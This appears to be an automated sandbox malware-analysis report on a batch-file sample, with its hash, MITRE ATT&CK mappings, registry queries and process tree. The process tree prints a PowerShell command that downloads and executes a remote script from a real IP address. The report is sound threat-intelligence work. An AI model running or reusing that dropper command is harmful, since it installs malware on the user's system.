504dec8fcbb3fb46037b86882c6760e22e3e0ebafdbc4dca3df3101102dcdf15

General

Target

3yFsXBJM.bat
Sample

200103-5bbywmjlze
SHA256

504dec8fcbb3fb46037b86882c6760e22e3e0ebafdbc4dca3df3101102dcdf15

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/3yFsXBJM

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid process

3044 WerFault.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 3044 WerFault.exe
Token: SeBackupPrivilege 3044 WerFault.exe
Token: SeDebugPrivilege 3044 WerFault.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

WerFault.exe

pid process

3044 WerFault.exe

pid	process
3044	WerFault.exe

description	pid	process
Token: SeRestorePrivilege	3044	WerFault.exe
Token: SeBackupPrivilege	3044	WerFault.exe
Token: SeDebugPrivilege	3044	WerFault.exe

pid	process
3044	WerFault.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

description	ioc
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

description	ioc
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3yFsXBJM.bat"
1⤵
PID:5040

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/3yFsXBJM');Invoke-XWICUOJBYLA;Start-Sleep -s 10000"
2⤵
PID:5084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5084 -s 708
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3044

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3044-0-0x00000000040C0000-0x00000000040C1000-memory.dmp

Filesize
4KB

Download
memory/3044-1-0x0000000004A00000-0x0000000004A01000-memory.dmp

Filesize
4KB

Download
memory/3044-2-0x0000000004A00000-0x0000000004A01000-memory.dmp

Filesize
4KB

Download
memory/3044-4-0x0000000004BA0000-0x0000000004BA1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads